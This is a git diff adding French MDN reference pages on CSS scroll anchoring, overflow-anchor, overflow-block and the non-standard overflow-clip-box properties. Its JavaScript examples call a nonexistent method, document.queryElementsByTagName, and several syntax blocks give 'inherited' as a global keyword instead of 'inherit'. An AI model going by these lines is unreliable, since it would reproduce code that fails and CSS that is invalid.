+<h2 id="Si_besoin_que_faire_pour_le_désactiver">Si besoin, que faire pour le désactiver ?</h2>
+
+<p>La spécification fournit une nouvelle propriété : {{cssxref("overflow-anchor")}}. Celle-ci peut être utilisée pour désactiver explicitement l'ancrage du défilement sur une partie ou sur l'ensemble du document. Cette propriété sert de mécanisme pour ne pas utiliser le nouveau comportement.</p>
+
+<p>Les valeurs utilisables pour cette propriété sont <code>auto</code> ou <code>none</code> :</p>
+
+<ul>
+ <li><code>auto</code> correspond à la valeur initiale : si c'est un navigateur compatible qui est utilisé, l'ancrage est activé et il devrait y avoir moins de déplacements brusques.</li>
+ <li><code>none</code> signifie qu'on choisit explicitement de ne pas utiliser l'ancrage du défilement pour tout ou partie du document.</li>
+</ul>
+
+<p>Pour désactiver l'ancrage sur l'ensemble du document, on pourra appliquer la propriété sur l'élément {{htmlelement("body")}} :</p>
+
+<pre class="brush: css">body {
+  overflow-anchor: none;
+} </pre>
+
+<p>Pour désactiver cette fonctionnalité sur une certaine partie du document, on ciblera <code>overflow-anchor: none</code> sur l'élément conteneur dans lequel l'utilisateur fait défiler le contenu :</p>
+
+<pre class="brush: css">.container {
+  overflow-anchor: none;
+} </pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong> : Dans la spécification, il est indiqué qu'il n'est pas possible de « revenir » avec l'ancrage dans un élément fils si l'ancrage a été désactivé sur un élément parent. Ainsi, si on désactive l'ancrage pour l'ensemble du document, on ne pourra pas appliquer (avec succès) <code>overflow-anchor: auto</code> à un autre endroit du document.</p>
+</div>
+
+<h3 id="Supression_triggers">Supression triggers</h3>
+
+<p>La spécification définit également certains évènements qui suppriment cette fonctionnalité où ça serait problématique. Si un évènement particulier se produit sur le nœud d'ancrage ou sur un ancêtre de celui-ci, l'ancrage est supprimé.</p>
+
+<p>Les évènements en question sont les modifications des <a href="/fr/docs/Web/CSS/Valeur_calculée">valeurs calculées</a> des propriétés suivantes :</p>
+
+<ul>
+ <li>{{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} ou {{cssxref("bottom")}}</li>
+ <li>{{cssxref("margin")}} ou {{cssxref("padding")}}</li>
+ <li>Toute propriété relative à {{cssxref("width")}} ou à {{cssxref("height")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("transform")}}</li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Si vous souhaitez appliquer une amélioration progressive et détecter si cette fonctionnalité est disponible dans le navigateur utilisé, vous pouvez utiliser <a href="/fr/docs/Web/CSS/@supports">les requêtes de fonctionnalité</a> afin de tester la prise en charge de la propriété <code>overflow-anchor</code>.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overflow-anchor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/WICG/ScrollAnchoring/blob/master/explainer.md">Document d'explication sur le site du WICG (en anglais)</a></li>
+ <li><a href="https://blog.chromium.org/2017/04/scroll-anchoring-for-web-developers.html">L'ancrage du défilement pour les développeurs web - Blog Chromium (en anglais)</a></li>
+ <li><a href="https://blog.eqrion.net/pin-to-bottom/">Implémenter un élément avec le défilement fixe en bas (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/overflow-anchor/index.html b/files/fr/web/css/overflow-anchor/index.html
new file mode 100644
index 0000000000..79327c6f3f
--- /dev/null
+++ b/files/fr/web/css/overflow-anchor/index.html
@@ -0,0 +1,80 @@
+---
+title: overflow-anchor
+slug: Web/CSS/overflow-anchor
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/overflow-anchor
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>overflow-anchor</code></strong> permet d'éviter, lors du défilement, que le navigateur ajuste la position afin de minimiser le déplacement du contenu.</p>
+
+<p>Ce comportement est activé par défaut pour les navigateurs qui le prenne en charge. Aussi, cette propriété est uniquement nécessaire lorsque vous rencontrez des problèmes de défilement dans un document et que vous souhaitez désactiver ce comportement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-anchor: auto;
+overflow-anchor: none;
+
+/* Valeurs globales */
+overflow-anchor: inherit;
+overflow-anchor: initial;
+overflow-anchor: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'élément peut devenir une ancre lorsque la position de défilement est ajustée.</dd>
+ <dt><code>none</code></dt>
+ <dd>L'élément ne sera pas sélectionné comme ancre.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour désactiver l'ancrage du défilement, on pourra utiliser cette propriété :</p>
+
+<pre class="brush: css">body {
+  overflow-anchor: none;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scroll Anchoring', '#propdef-overflow-anchor', 'overflow-anchor')}}</td>
+   <td>{{Spec2('CSS Scroll Anchoring')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overflow-anchor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/overflow-anchor/Guide_to_scroll_anchoring">Guide sur l'ancrage du défilement (<em>scroll anchoring</em>)</a></li>
+</ul>
diff --git a/files/fr/web/css/overflow-block/index.html b/files/fr/web/css/overflow-block/index.html
new file mode 100644
index 0000000000..f754f76cca
--- /dev/null
+++ b/files/fr/web/css/overflow-block/index.html
@@ -0,0 +1,140 @@
+---
+title: overflow-block
+slug: Web/CSS/overflow-block
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/overflow-block
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>overflow-block</code></strong> est une propriété logique qui définit ce qu'il faut afficher quand le contenu dépasse d'un élément de bloc sur les bords de bloc (ceux orthogonaux au sens d'écriture). On peut choisir d'afficher rien, une barre de défilement ou de laisser le contenu dépasser.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>overflow-block</code> correspond à {{cssxref("overflow-y")}} ou {{cssxref("overflow-x")}} selon le mode d'écriture du document.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-block: visible;
+overflow-block: hidden;
+overflow-block: scroll;
+overflow-block: auto;
+
+/* Valeurs globales */
+overflow-block: inherit;
+overflow-block: initial;
+overflow-block: unset;
+</pre>
+
+<p>La propriété <code>overflow-block</code> se définit avec un mot-clé parmi ceux de la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Le contenu n'est pas rogné et peut être affiché en dehors des limites de bloc de la boîte.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Le contenu qui dépasse est masqué afin de ne pas dépasser dans l'axe de bloc. Aucune barre de défilement n'est affichée.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Le contenu est rogné si nécessaire selon l'axe de bloc pour tenir dans la boîte (de remplissage). Les navigateurs affichent des barres de défilement que le contenu soit rogné ou non (on évite ainsi d'avoir des barres qui apparaissent/disparaissent lorsque le contenu change). Les imprimantes peuvent imprimer le contenu qui dépasse.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le comportement de cette valeur dépend de l'agent utilisateur. Si le contenu tient dans la boîte de remplissage, elle se comportera comme <code>visible</code> mais établira un nouveau contexte de formatage. Les navigateurs de bureau affichent des barres de défilement si le contenu dépasse.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;overflow-block:hidden&lt;/code&gt; — masque le texte en dehors
+  &lt;div id="div1"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-block:scroll&lt;/code&gt; — ajoute une barre de défilement
+  &lt;div id="div2"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-block:visible&lt;/code&gt; — affiche le texte en dehors si besoin
+  &lt;div id="div3"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-block:auto&lt;/code&gt; — pour la plupart des navigateurs, équivalent à &lt;code&gt;scroll&lt;/code&gt;
+  &lt;div id="div4"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1,
+#div2,
+#div3,
+#div4 {
+  border: 1px solid black;
+  width:  250px;
+  height: 100px;
+}
+
+#div1 { overflow-block: hidden; margin-bottom: 12px;}
+#div2 { overflow-block: scroll; margin-bottom: 12px;}
+#div3 { overflow-block: visible; margin-bottom: 120px;}
+#div4 { overflow-block: auto; margin-bottom: 120px;}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Exemples", "100%", "780")}}</p>
+</figure>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow-block', 'overflow-block')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overflow-block")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>Propriétés CSS associées : {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{cssxref("overflow")}}, {{cssxref("overflow-inline")}}, {{cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{cssxref("clip")}}, {{cssxref("display")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties">Les propriétés logiques en CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Writing_Modes">Les modes d'écriture</a></li>
+</ul>
diff --git a/files/fr/web/css/overflow-clip-box-block/index.html b/files/fr/web/css/overflow-clip-box-block/index.html
new file mode 100644
index 0000000000..54c60574d8
--- /dev/null
+++ b/files/fr/web/css/overflow-clip-box-block/index.html
@@ -0,0 +1,157 @@
+---
+title: overflow-clip-box-block
+slug: Web/CSS/overflow-clip-box-block
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Mozilla/Gecko/Chrome/CSS/overflow-clip-box-block
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>overflow-clip-box-block</code></strong> définit par rapport à quelle boîte est appliqué le rognement lorsque le contenu dépasse dans la direction de bloc (la direction orthogonale au sens d'écriture).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-clip-box-block: padding-box;
+overflow-clip-box-block: content-box;
+
+/* Valeurs globales */
+overflow-clip-box-block: inherited;
+overflow-clip-box-block: initial;
+overflow-clip-box-block: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Sur Gecko, <code>padding-box</code> est, par défaut utilisé partout sauf pour <code>&lt;input type="text"&gt;</code> et les éléments semblables qui utilisent <code>content-box</code>. Par défaut, cette propriété est uniquement activée pour les feuilles de style de l'agent utilisateur et le contexte du chrome.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>padding-box</code></dt>
+ <dd>Avec ce mot-clé, le rognage est relatif à <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_propri%C3%A9t%C3%A9s_des_bo%C3%AEtes">la boîte de remplissage (<em>padding</em>)</a>.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>Avec ce mot-clé, le rognage est relatif à <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_propri%C3%A9t%C3%A9s_des_bo%C3%AEtes">la boîte de contenu</a>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="padding-box">padding-box</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="things"&gt;
+  &lt;input value="ABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ" class="scroll padding-box"&gt;
+  &lt;div class="scroll padding-box"&gt;&lt;span&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ&lt;/span&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.scroll {
+  overflow: auto;
+  padding: 0 30px;
+  width: 6em;
+  border: 1px solid black;
+  background: lime content-box;
+}
+
+.padding-box {
+  overflow-clip-box-block: padding-box;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">function scrollSomeElements() {
+  var elms = document.querySelectorAll('.scroll');
+  for (i=0; i &lt; elms.length; ++i) {
+    elms[i].scrollLeft=80;
+  }
+}
+var elt = document.queryElementsByTagName('body')[0];
+
+elt.addEventListener("load", scrollSomeElements, false);
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('padding-box')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété a été proposée au groupe de travail CSSWG du W3C. Elle n'est pas encore en voie de standardisation mais devrait apparaître dans {{SpecName("CSS3 Overflow")}} si c'est le cas.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoDesktop(59)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoMobile(59)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette propriété est contrôlée par la préférence <code>layout.css.overflow-clip-box.enabled</code> dont la valeur par défaut est <code>false</code>. Elle est uniquement activée pour les feuilles de style de l'agent utilisateur ou le contexte du chrome. Voir {{bug(966992)}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-overflow")}},</li>
+ <li>{{cssxref("white-space")}},</li>
+ <li>{{cssxref("overflow")}},</li>
+ <li>{{cssxref("overflow-x")}},</li>
+ <li>{{cssxref("overflow-y")}},</li>
+ <li>{{cssxref("clip")}},</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/overflow-clip-box-inline/index.html b/files/fr/web/css/overflow-clip-box-inline/index.html
new file mode 100644
index 0000000000..e7df371778
--- /dev/null
+++ b/files/fr/web/css/overflow-clip-box-inline/index.html
@@ -0,0 +1,157 @@
+---
+title: overflow-clip-box-inline
+slug: Web/CSS/overflow-clip-box-inline
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Mozilla/Gecko/Chrome/CSS/overflow-clip-box-inline
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>overflow-clip-box-inline</code></strong> définit par rapport à quelle boîte est appliqué le rognement lorsque le contenu dépasse dans la direction en ligne (la direction correspondant au sens d'écriture).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-clip-box-inline: padding-box;
+overflow-clip-box-inline: content-box;
+
+/* Valeurs globales */
+overflow-clip-box-inline: inherited;
+overflow-clip-box-inline: initial;
+overflow-clip-box-inline: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Sur Gecko, <code>padding-box</code> est, par défaut utilisé partout sauf pour <code>&lt;input type="text"&gt;</code> et les éléments semblables qui utilisent <code>content-box</code>. Par défaut, cette propriété est uniquement activée pour les feuilles de style de l'agent utilisateur et le contexte du chrome.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>padding-box</code></dt>
+ <dd>Avec ce mot-clé, le rognage est relatif à <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_propri%C3%A9t%C3%A9s_des_bo%C3%AEtes">la boîte de remplissage (<em>padding</em>)</a>.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>Avec ce mot-clé, le rognage est relatif à <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_propri%C3%A9t%C3%A9s_des_bo%C3%AEtes">la boîte de contenu</a>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="padding-box">padding-box</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="things"&gt;
+  &lt;input value="ABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ" class="scroll padding-box"&gt;
+  &lt;div class="scroll padding-box"&gt;&lt;span&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ&lt;/span&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.scroll {
+  overflow: auto;
+  padding: 0 30px;
+  width: 6em;
+  border: 1px solid black;
+  background: lime content-box;
+}
+
+.padding-box {
+  overflow-clip-box-inline: padding-box;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">function scrollSomeElements() {
+  var elms = document.querySelectorAll('.scroll');
+  for (i=0; i &lt; elms.length; ++i) {
+    elms[i].scrollLeft=80;
+  }
+}
+var elt = document.queryElementsByTagName('body')[0];
+
+elt.addEventListener("load", scrollSomeElements, false);
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('padding-box')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété a été proposée au groupe de travail CSSWG du W3C. Elle n'est pas encore en voie de standardisation mais devrait apparaître dans {{SpecName("CSS3 Overflow")}} si c'est le cas.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoDesktop(59)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoMobile(59)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette propriété est contrôlée par la préférence <code>layout.css.overflow-clip-box.enabled</code> dont la valeur par défaut est <code>false</code>. Elle est uniquement activée pour les feuilles de style de l'agent utilisateur ou le contexte du chrome. Voir {{bug(966992)}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-overflow")}},</li>
+ <li>{{cssxref("white-space")}},</li>
+ <li>{{cssxref("overflow")}},</li>
+ <li>{{cssxref("overflow-x")}},</li>
+ <li>{{cssxref("overflow-y")}},</li>
+ <li>{{cssxref("clip")}},</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/overflow-clip-box/index.html b/files/fr/web/css/overflow-clip-box/index.html
new file mode 100644
index 0000000000..997137220e
--- /dev/null
+++ b/files/fr/web/css/overflow-clip-box/index.html
@@ -0,0 +1,175 @@
+---
+title: overflow-clip-box
+slug: Web/CSS/overflow-clip-box
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Mozilla/Gecko/Chrome/CSS/overflow-clip-box
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>overflow-clip-box</code></strong> permet de définir la boîte à laquelle faire référence lorsqu'il y a un dépassement du contenu. C'est une propriété raccourcie pour les propriétés {{cssxref("overflow-clip-box-inline")}} et {{cssxref("overflow-clip-box-block")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-clip-box: padding-box;
+overflow-clip-box: content-box;
+
+/* Deux valeurs */
+overflow-clip-box: padding-box content-box;
+overflow-clip-box: content-box content-box;
+
+/* Valeurs globales */
+overflow-clip-box: inherited;
+overflow-clip-box: initial;
+overflow-clip-box: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Par défaut, sur Gecko, <code>padding-box</code> est utilisé partout mais <code>&lt;input type="text"&gt;</code> et les éléments similaires utilisent la valeur <code>content-box</code>. Avant Firefox 29, ce comportement était intégré en dur. Depuis, le comportement se base sur cette propriété qui peut être utilisée à d'autres endroits. On notera que cette propriété est uniquement activée pour les feuilles de styles définies au niveau de l'agent utilisateur et pour les contextes liés au chrome de l'application.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>padding-box</code></dt>
+ <dd>Ce mot-clé indique que le rognage du contenu qui dépasse sera fait par rapport à <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de remplissage (<em>padding</em>)</a>.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>Ce mot-clé indique que le rognage du contenu qui dépasse sera fait par rapport à <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de contenu</a>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="things"&gt;
+  &lt;input value="ABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ" class="scroll padding-box"&gt;
+  &lt;div class="scroll padding-box"&gt;&lt;span&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ&lt;/span&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.scroll {
+  overflow: auto;
+  padding: 0 30px;
+  width: 6em;
+  border: 1px solid black;
+  background: lime content-box;
+}
+
+.padding-box {
+  overflow-clip-box: padding-box;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function scrollSomeElements() {
+  var elms = document.querySelectorAll('.scroll');
+  for (i=0; i &lt; elms.length; ++i) {
+    elms[i].scrollLeft=80;
+  }
+}
+var elt = document.queryElementsByTagName('body')[0];
+
+elt.addEventListener("load", scrollSomeElements, false);
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété a été proposée dans le cadre du groupe de travail CSS du W3C. Elle n'est pas encore sur le chemin du processus standard mais si elle est acceptée, elle fera vraisemblablement partie de la spécification {{SpecName("CSS3 Overflow")}}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoDesktop("29.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Propriété raccourcie, gestion de deux valeurs</td>
+   <td>{{CompatGeckoDesktop("59")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoMobile("29.0")}}<sup>[1]</sup></td>
